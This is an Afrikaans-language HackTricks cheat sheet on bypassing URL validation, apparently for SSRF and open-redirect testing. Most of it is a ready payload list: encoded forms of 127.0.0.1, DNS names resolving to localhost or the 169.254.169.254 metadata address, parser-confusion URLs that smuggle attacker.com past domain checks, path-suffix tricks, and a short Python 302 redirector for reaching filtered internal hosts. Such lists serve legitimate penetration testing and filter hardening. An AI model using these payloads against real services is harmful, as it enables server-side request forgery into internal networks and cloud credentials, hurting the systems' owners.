# URL Formaat Omseiling {{#include ../../banners/hacktricks-training.md}} ### Lokale gasheer ```bash # Localhost 0 # Yes, just 0 is localhost in Linuc http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://127.1:80 http://127.000000000000000.1 http://0 http:@0/ --> http://localhost/ http://0.0.0.0:80 http://localhost:80 http://[::]:80/ http://[::]:25/ SMTP http://[::]:3128/ Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪ # CDIR bypass http://127.127.127.127 http://127.0.1.3 http://127.0.0.0 # Dot bypass 127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821 # Decimal bypass http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1 # Octal Bypass http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001 # Hexadecimal bypass 127.0.0.1 = 0x7f 00 00 01 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001 # Mixed encodings bypass 169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number 0xA9.254.0251.0376 -> hexadecimal, decimal and octal # Add 0s bypass 127.000000000000.1 # You can also mix different encoding formats # https://www.silisoftware.com/tools/ipconverter.php # Malformed and rare localhost:+11211aaa localhost:00011211aaaa http://0/ http://127.1 http://127.0.1 # DNS to localhost localtest.me = 127.0.0.1 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 mail.ebc.apple.com = 127.0.0.6 (localhost) 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP) www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://bugbounty.dod.network = 127.0.0.2 (localhost) 1ynrnhl.xip.io == 169.254.169.254 spoofed.burpcollaborator.net = 127.0.0.1 ``` ![](<../../images/image (776).png>) Die **Burp-uitbreiding** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementeer IP-formaat omseilings. ### Domein Parser ```bash https:attacker.com https:/attacker.com http:/\/\attacker.com https:/\attacker.com //attacker.com \/\/attacker.com/ /\/attacker.com/ /attacker.com %0D%0A/attacker.com #attacker.com #%20@attacker.com @attacker.com http://169.254.1698.254\@attacker.com attacker%00.com attacker%E3%80%82com attacker。com ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ ``` ``` ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ``` ### Domein Verwarring ```bash # Try also to change attacker.com for 127.0.0.1 to try to access localhost # Try replacing https by http # Try URL-encoded characters https://{domain}@attacker.com https://{domain}.attacker.com https://{domain}%6D@attacker.com https://attacker.com/{domain} https://attacker.com/?d={domain} https://attacker.com#{domain} https://attacker.com@{domain} https://attacker.com#@{domain} https://attacker.com%23@{domain} https://attacker.com%00{domain} https://attacker.com%0A{domain} https://attacker.com?{domain} https://attacker.com///{domain} https://attacker.com\{domain}/ https://attacker.com;https://{domain} https://attacker.com\{domain}/ https://attacker.com\.{domain} https://attacker.com/.{domain} https://attacker.com\@@{domain} https://attacker.com:\@@{domain} https://attacker.com#\@{domain} https://attacker.com\anything@{domain}/ https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com # On each IP position try to put 1 attackers domain and the others the victim domain http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ #Parameter pollution next={domain}&next=attacker.com ``` ### Paaie en Uitbreidings Omseil As jy vereis dat die URL moet eindig in 'n pad of 'n uitbreiding, of 'n pad moet bevat, kan jy een van die volgende omseilings probeer: ``` https://metadata/vulerable/path#/expected/path https://metadata/vulerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path ``` ### Fuzzing Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) kan variasies genereer vanaf 'n gegewe invoer om te probeer om die gebruikte regex te omseil. Kyk na [**hierdie pos**](https://0xacb.com/2022/11/21/recollapse/) ook vir meer inligting. ### Automatiese Aangepaste Woordlyste Kyk na die [**URL validasie omseil cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) van portswigger waar jy die toegelate gasheer en die aanvallers een kan invoer en dit sal 'n lys van URL's genereer om vir jou te probeer. Dit oorweeg ook of jy die URL in 'n parameter, in 'n Host kop of in 'n CORS kop kan gebruik. {{#ref}} https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet {{#endref}} ### Omseil via herleiding Dit mag moontlik wees dat die bediener die **oorspronklike versoek** van 'n SSRF **filter**, maar nie 'n moontlike **herleiding** antwoord op daardie versoek nie.\ Byvoorbeeld, 'n bediener wat kwesbaar is vir SSRF via: `url=https://www.google.com/` mag die **url param** **filter**. Maar as jy 'n [python bediener gebruik om met 'n 302 te antwoord](https://pastebin.com/raw/ywAUhFrv) na die plek waar jy wil herlei, mag jy in staat wees om **gefilterde IP adresse** soos 127.0.0.1 of selfs gefilterde **protokolle** soos gopher te **benader**.\ [Kyk na hierdie verslag.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) ```python #!/usr/bin/env python3 #python3 ./redirector.py 8000 http://127.0.0.1/ import sys from http.server import HTTPServer, BaseHTTPRequestHandler if len(sys.argv)-1 != 2: print("Usage: {} ".format(sys.argv[0])) sys.exit() class Redirect(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', sys.argv[2]) self.end_headers() HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() ``` ## Verduidelik Tricks ### Blackslash-trick Die _backslash-trick_ benut 'n verskil tussen die [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) en [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Terwyl RFC3986 'n algemene raamwerk vir URI's is, is WHATWG spesifiek vir web-URL's en word dit deur moderne blaaiers aangeneem. Die sleutelonderskeid lê in die WHATWG-standaard se erkenning van die backslash (`\`) as gelyk aan die voorwaartse skuif (`/`), wat die manier beïnvloed waarop URL's geparseer word, spesifiek die oorgang van die hostname na die pad in 'n URL merk. ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg) ### Linker vierkantige hakie Die “linker vierkantige hakie” karakter `[` in die gebruikersinligtingsegment kan veroorsaak dat Spring se UriComponentsBuilder 'n hostname waarde teruggee wat verskil van blaaiers: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878) ### Ander Verwirring ![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../images/image (600).png>) beeld van [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/) ## Verwysings - [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md) - [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet) {{#include ../../banners/hacktricks-training.md}}